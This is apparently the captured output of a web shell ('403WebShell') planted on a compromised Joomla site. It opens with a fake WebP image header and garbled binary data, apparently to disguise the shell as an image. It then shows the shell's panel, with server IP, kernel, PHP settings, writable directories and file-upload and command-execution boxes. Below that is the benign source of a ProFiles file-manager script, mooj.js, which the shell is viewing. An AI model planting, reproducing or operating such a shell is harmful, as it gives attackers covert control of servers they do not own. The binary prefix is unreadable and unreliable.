....................................../////.===Hehe-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 172.67.169.23  /  Your IP : 216.73.217.46
Web Server : nginx/1.28.3
System : Linux 4e27b89abc44 6.8.0-147-generic #147-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 24 11:33:16 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /sites/xo-fab.com/www/administrator/components/com_profiles/filemanager/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /sites/xo-fab.com/www/administrator/components/com_profiles/filemanager/js/mooj.js
/**
 *  Package: ProFiles
 *	Copyright (C) 2013 Mad4Media - Dipl. Informatiker(FH) Fahrettin Kutyol. All rights reserved.
 *	License: GPL Friendly Media License [GFML]
 *	License link: http://www.mooj.org/en/licenses/gfml.html
 *	You may only use this script if you received the software package directly via a Mad4Media resource or via the resource of an authorized partner of Mad4Media.
 *	Usage of GFML code outside the software package is not allowed!
 *
**/

var stopWindowResizing = false;
var promptIsShowing = false;
var promptDuration = 500;
var myMarginBottom = 20;
var maxWidthPercent = 95;
var windowSize = _WindowSize();
var contentPane = _("mWindowContent");
var mWindowMaxWidth = Math.floor(windowSize.width * maxWidthPercent / 100);
var loadingPanePadding = 5;
var windowHeaderHeight = 102;

var promptMargin = 40;
var promptHeight = 150;
var promptFadeDuration = 500;

var editAreaMarginBottom = 65;

var nameSpaceCounter = 0;

var mMouse={x:0,y:0};
var mHeaderMargin = 26;

function setMWindowSize(){
	windowSize = _WindowSize();
	mWindowMaxWidth = Math.floor(windowSize.width * maxWidthPercent / 100);
	var contentPaneBounds = _ViewportOffset(mWindowContent);
	newContentPaneHeight = windowSize.height-myMarginBottom-contentPaneBounds.t;
	mWindowContent.style.height = newContentPaneHeight+"px";
	
	dojo.style("mTableColWidth", {height: newContentPaneHeight +"px"});
	
	// Set SplitTable height
	if(isSplit) {
		ffSplitStyle.height = (newContentPaneHeight -mHeaderMargin)+"px";
		_S("splitInnerLeft").height = (newContentPaneHeight -mHeaderMargin)+"px";
		_S("splitInnerRight").height = (newContentPaneHeight -mHeaderMargin) +"px";
	}
	
	
	mWindow.style.width = mWindowMaxWidth +"px";
}





function tabMouseOver(node){
	var bounds = _AbsoluteBounds (node);
	var coords = dojo.coords(node);
	var us = _S("tabUnderlay");
	us.left = bounds.l +"px";
	us.width = coords.w + "px";
	dojo.fadeIn({node:_('tabUnderlay'),duration:300}).play();
}

function tabMouseOut(node){
	dojo.fadeOut({node:_('tabUnderlay'),duration:300}).play();
}

function setCookie(name,value,days) {
	if (days) {
		var date = new Date();
		date.setTime(date.getTime()+(days*24*60*60*1000));
		var expires = "; expires="+date.toGMTString();
	}
	else var expires = "";
	document.cookie = name+"="+value+expires+"; path=/";
}

function getCookie(name) {
	var nameEQ = name + "=";
	var ca = document.cookie.split(';');
	for(var i=0, l=ca.length; i < l ;i++) {
		var c = ca[i];
		while (c.charAt(0)==' ') c = c.substring(1,c.length);
		if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
	}
	return null;
}
// getting the current mWindow Size by cookie
var currentWindowSize = 2;
if(!currentWindowSize){
	currentWindowSize = 2;
	//setCookie("moojWindowSize",0);
}

var contFadeDuration = 400;
function mWindowResize(size){
	if(size<0 || size >2 || stopWindowResizing) return null;
	if(size==currentWindowSize) return false;
	
	//setCookie("moojWindowSize",size);
	setTimeout("mContentResizing("+size+")",contFadeDuration);
	if(isSplit){
		_ToggleDisplay("ffSplitSizeHack");
	}
	switch (size) {
	
		default:
		case 0:
			dojo.fadeOut({node: mContentInner, duration:contFadeDuration, onEnd: function(){
				
				fadeWallPaper(0);
				_fx.animToTop(mEnvironment, 1000, defaultEnvironmentTop, function(){_S("module-menu").display = "block";});
				_fx.animToWidth(mWindow,1000,defaultWindowWidth, function(){dojo.fadeIn({node: mContentInner, duration:contFadeDuration}).play();} );	
			} }).play();
//			resizePromptAnimation(defaultWindowWidth);
			break;
			
		case 1: ;
		dojo.fadeOut({node: mContentInner, duration:contFadeDuration, onEnd: function(){
			fadeWallPaper(0);
			_fx.animToTop(mEnvironment, 1000, defaultEnvironmentTop, function(){_S("module-menu").display = "block";});
			_fx.animToWidth(mWindow,1000,mWindowMaxWidth, function(){dojo.fadeIn({node: mContentInner, duration:contFadeDuration}).play();}  );
		} }).play();
//			resizePromptAnimation(mWindowMaxWidth);
			break;
			
		case 2: ;
			dojo.fadeOut({node: mContentInner, duration:contFadeDuration, onEnd: function(){
			_S("module-menu").display = "none";
			fadeWallPaper(1);
			_fx.animToTop(mEnvironment, 1000, '0', undefined);
			_fx.animToWidth(mWindow,1000,mWindowMaxWidth, function(){dojo.fadeIn({node: mContentInner, duration:contFadeDuration}).play();}  );
			} }).play();
//			resizePromptAnimation(mWindowMaxWidth);
			break;
	}
	currentWindowSize = size;
}

function mWindowIEHack(status){
	if(_Browser.IE){
		
	}
}


// NEEDS TO BE REMOVED
function resizePromptAnimation(promptWidth){
	promptWidth -= 2;
	if(!promptIsShowing) {
		mInfoWrap.style.width= promptWidth +"px";
		return false;
	}
	_fx.animToWidth(mInfoWrap, 1000, promptWidth, undefined);
	_fx.animToWidth(mInfoMiddle, 1000, promptWidth, undefined);
}


var currentBackButton = undefined;
var buttonBackDownTimer = undefined;

function buttonBackUp(buttonNode){	
	cancelBackDown();
	if(currentBackButton != buttonNode && currentBackButton != undefined){
		buttonBackDown();
	}
	if(currentBackButton != undefined) return false;
	currentBackButton = buttonNode;
	
	new dojo._Animation({
		node: buttonNode,				
		duration: 300,
		rate:24,
		curve:[0,-45],
		easing: function(x){
					return x;
				},
		onAnimate: function(x){
					this.node.style.backgroundPosition = "0px "+x+"px";	
					}
		}).play();

}

function buttonBackDownDelayed(buttonNode){
	buttonBackDownTimer = setTimeout(buttonBackDown,1);
}

function cancelBackDown(){
	if(buttonBackDownTimer){
		clearTimeout(buttonBackDownTimer);
	}
}

function buttonBackDown(buttonNode){	
		buttonNode = currentBackButton;
		currentBackButton = undefined;
		buttonBackDownTimer = undefined;
		
		new dojo._Animation({
		node: buttonNode,				
		duration: 300,
		rate:24,
		curve:[-45,0],
		easing: function(x){
					return x;
				},
		onAnimate: function(x){
					this.node.style.backgroundPosition = "0px "+x+"px";	
					}
		}).play();
}

function fadeWallPaper(state){
	switch(state){
		default:
		case 0:
			if(mWallPaperStyle.display != "none"){
				dojo.fadeOut({node: mWallPaper,duration:1000, onEnd: function(){mWallPaperStyle.display = "none"}}).play();
			}			
			break;
		case 1:
			if(mWallPaperStyle.display != "block"){
				mWallPaperStyle.display = "block";
				dojo.fadeIn({node: mWallPaper,duration:1000}).play();
			}
			break;	
			
	}
}

function rememberSize(){
	if(currentWindowSize == 1){
		mWindow.style.width =  mWindowMaxWidth+"px";
	}else if (currentWindowSize == 2){
		mWallPaperStyle.display = "block";
		dojo._setOpacity(mWallPaper,1);
		mEnvironment.style.top =  "0px";
		mWindow.style.width =  mWindowMaxWidth+"px";
//		_S("module-menu").display = "none";
	}
}

function mContentResizing(size){
	
	switch (size) {
	case 2:
		newContentPaneHeight = windowSize.height-myMarginBottom-contentPaneFull;
		break;

	default:
		newContentPaneHeight = windowSize.height-myMarginBottom-contentPaneNormal;
		break;
	}
	
	_fx.animToHeight(mWindowContent, 1000, newContentPaneHeight, function(){
				if(ffSplitStyle != undefined){
				ffSplitStyle.height = newContentPaneHeight+"px";
				_ToggleDisplay("ffSplitSizeHack");
				}});
	
	// Split resizing
	if(isSplit){
		_fx.animToHeight("splitInnerLeft", 1000, newContentPaneHeight, function(){_S("splitInnerLeft").overflow = "auto";});
		_fx.animToHeight("splitInnerRight", 1000, newContentPaneHeight, function(){_S("splitInnerRight").overflow = "auto";});

	}//EOF isSplit
	
	
}//EOF contentPaneResizing

//++++++++++++++++++++++++
// Mouse Move Listener for for document mouse move routing
var mouseMoveListener = new Array();
var mouseMoveLength = 0;
var globalMouse = {x:0,y:0};
function mMouseCoords(e){  
	
	var mousex, mousey;
	
	if(!e){
		var e = window.event;
	}
	
	if (e.pageX || e.pageY){
		mousex = e.pageX;
		mousey = e.pageY;
	}else if(e.clientX || e.clientY){
			mousex = e.clientX;
			mousey = e.clientY;
		  }
	
	globalMouse = {x:mousex,y:mousey};
			
	for(t=0;t<mouseMoveLength;t++){
		mouseMoveListener[t](mousex,mousey);
	}
	return false;
}//EOF mMouseCoords

// Add MouseMove Listener
function addMouseMoveListener(func){
	mouseMoveListener.push(func);
	mouseMoveLength = mouseMoveListener.length;
}
// ++++++++++++++++++++++++++++
// Mouse Up Listner for document
var mouseUpListener = new Array();
var mouseUpLength = 0;
function mDocumentMouseUp(e){	
	var buttons = detectMouseButton(e);
	for(t=0; t<mouseUpLength;t++){
		mouseUpListener[t](buttons);
	}
	return false;
}
// Add Mouse Up Listner
function addMouseUpListener(func){
	mouseUpListener.push(func);
	mouseUpLength = mouseUpListener.length;
}
// Append MouseUp and MouseMove Listeners to Document
document.onmousemove = mMouseCoords;
document.onmouseup = mDocumentMouseUp;
var cancelDDSelect = false;
document.onclick = function(e){
	
	if(typeof mSearch != "undefined"){
		mSearch.globalClick(e);
	}
	
	if(typeof mListingDropDown != "undefined" && ! cancelDDSelect){
		mListingDropDown.id ="";
		boxOrList.style.display = "none";
	}else{
		cancelDDSelect = false;
	}
	
//	if(noDocumentRC){
//		noDocumentRC = false;
//	}else {
//		setRightClick();
//	}
	setRightClick();
	
	//Wichtig oder IE spinnt
	return false;
}
// Prevent IE fom showing context menu by right click
document.oncontextmenu=function(){return false;};


var dragSplitScreen = false;
function dssMoveHandler(mousex,mousey){
	if(dragSplitScreen && isSplit){
		  document.body.style.cursor = "e-resize";
		  // document.body.focus();
		  var coords = _ViewportOffset(_("mSplitTable"),true);
		  var newWidth = (mousex-coords.l) + "px";
		  _S("mSplitLeft").width = newWidth ;
		  if(dojo.byId("mFolderHeading")) _S("mFolderHeading").width = (mousex-coords.l-31)+"px";
		  _S("splitInnerLeft").width = newWidth ;
		}	
}
addMouseMoveListener(dssMoveHandler);

function dssUpHandler(){
	if(isSplit){
		document.body.style.cursor = "default";
		dragSplitScreen = false;
	}
}
addMouseUpListener(dssUpHandler);


function infoFlyOut(height){
	
	var contentBounds = dojo.coords(mWindowContent,true);
	if(height == undefined || height ==null || height>contentBounds.h){
		height = contentBounds.h;
	}
	stopWindowResizing = true;
	promptIsShowing = true;
	var mInfoLeft = _("mInfoLeft");
	var mInfoRight = _("mInfoRight");
	var mInfoMiddle = _("mInfoMiddle");
	_S("mInfoWrap").display="block";

	dojo._setOpacity(_("mInfoWrap"),0.8);

	
	var infoWidth = defaultWindowWidth-2;
	if(currentWindowSize >0){
		infoWidth = mWindowMaxWidth-2;
	}
	_S("mInfoWrap").width = infoWidth + "px";
	var halfInfoWidth = Math.round(infoWidth/2);
	var quaterInfoWidth = Math.round(halfInfoWidth/2);
	
	_fx.animateDim(mInfoLeft, promptDuration, quaterInfoWidth, 0, "px", 0, height, "px", undefined);
	_fx.animateDim(mInfoRight, promptDuration, quaterInfoWidth, 0 , "px", 0, height, "px", undefined);
	_fx.animateDim(mInfoMiddle, promptDuration, halfInfoWidth  ,infoWidth, "px", 0, height, "px", undefined);

	setTimeout(promptFadeIn,promptDuration);
	return false;
}

function infoFlyIn(){
	mLoadingPane.style.height="auto";
	height = promptHeight;
	stopWindowResizing = false;
	promptIsShowing = false;
	var mInfoLeft = _("mInfoLeft");
	var mInfoRight = _("mInfoRight");
	var mInfoMiddle = _("mInfoMiddle");
	_S("mInfoWrap").display="block";
	
	var infoWidth = defaultWindowWidth-2;
	if(currentWindowSize >0){
		infoWidth = (mWindowMaxWidth-2);
	}
	_S("mInfoWrap").width = infoWidth + "px";
	var halfInfoWidth = Math.round(infoWidth/2);
	var quaterInfoWidth = Math.round(halfInfoWidth/2);
	
	_fx.animateDim(mInfoLeft, promptDuration, 0, quaterInfoWidth, "px", height, 0, "px", undefined);
	_fx.animateDim(mInfoRight, promptDuration, 0, quaterInfoWidth, "px", height, 0, "px", undefined);
	_fx.animateDim(mInfoMiddle, promptDuration, infoWidth, halfInfoWidth, "px", height, 0, "px", function(){_S("mInfoWrap").display="none";_("mLoadingPane").style.left="-99999em";});
	return false;

}

function loadPrompt(url,formNode){
	
	if(promptIsShowing){
		loadInsidePrompt(url,formNode);
		return false;
	}
	document.body.style.cursor = 'wait';
	var infoWidth = defaultWindowWidth-2;
	if(currentWindowSize >0){
		infoWidth = mWindowMaxWidth-2;
	}
	var ms = mLoadingPane.style;
	ms.width = (infoWidth-promptMargin) +"px";
	ms.left = "-99999em";
	_S("mClosePrompt").left = "-99999em";
	
	var promptContentCallback = function(response,ioArgs){
		mLoadingPane.innerHTML = response;
		setTimeout(delayedPromptExecute,100);
		mWait.stop();
		return true;
	}
	mWait.play();
	if(formNode != undefined){
		dojo.xhrPost({
		    url: url,
		    load: promptContentCallback,
		    form: formNode,
		    error: function(response, ioArgs){
				mWait.stop();
		        console.log("Failed XHR: ", response, ioArgs);
		    }
		});		
	}else{
		dojo.xhrGet({
		    url: url,
		    load: promptContentCallback,
		    error: function(response, ioArgs){
				mWait.stop();
		        console.log("Failed XHR: ", response, ioArgs);
		    }
		});		
	}
	

}

function loadInsidePrompt(url,formNode){
	dojo.fadeOut({node: mLoadingPane,duration:promptFadeDuration,onEnd:dojo.hitch(this,function(){loadInsidePromptStep2(url,formNode);})}).play();
	dojo.fadeOut({node: _("mClosePrompt"),duration:promptFadeDuration}).play();
	
}

function loadInsidePromptStep2(url,formNode){
	mWait.play();
	mLoadingPane.style.display = "block";
	mLoadingPane.style.height = "auto";
	
	var promptContentCallback = function(response,ioArgs){
		mLoadingPane.innerHTML = response;
		setTimeout(delayedInsidePrompt,100);
		mWait.stop();
		return true;
	}
	if(formNode != undefined){
		dojo.xhrPost({
		    url: url,
		    load: promptContentCallback,
		    form: formNode,
		    error: function(response, ioArgs){
		        console.log("Failed XHR: ", response, ioArgs);
		        mWait.stop();
		    }
		});		
	}else{
		dojo.xhrGet({
		    url: url,
		    load: promptContentCallback,
		    error: function(response, ioArgs){
		        console.log("Failed XHR: ", response, ioArgs);
		        mWait.stop();
		    }
		});		
	}	
}
function delayedInsidePrompt(){
	if(funcExists("parseAll")){
		parseAll(mLoadingPane);
	}
	var bounds = _ViewportOffset(mLoadingPane);	
	var contentBounds = dojo.coords(mWindowContent,true);
	var ms = mLoadingPane.style;
	var maxHeight = contentBounds.h-promptMargin ;
	if (bounds.h> maxHeight){
		ms.height = (maxHeight-12) +"px";
		bounds.h = maxHeight;
	}
	
	var cs = _S("mClosePrompt");
	var top = (bounds.t+bounds.h-1)+ "px";
	cs.top = top;
	promptHeight = bounds.h + promptMargin;
	
	var mInfoLeft = _("mInfoLeft");
	var mInfoRight = _("mInfoRight");
	
	_fx.animToHeight(mInfoMiddle, promptDuration, promptHeight, function(){
		document.body.style.cursor = 'auto';
		dojo.fadeIn({node: mLoadingPane,duration:promptFadeDuration}).play();
		dojo.fadeIn({node: _("mClosePrompt"),duration:promptFadeDuration}).play();	
	});
	_fx.animToHeight(mInfoLeft, promptDuration, promptHeight, undefined);
	_fx.animToHeight(mInfoRight, promptDuration, promptHeight, undefined);

}

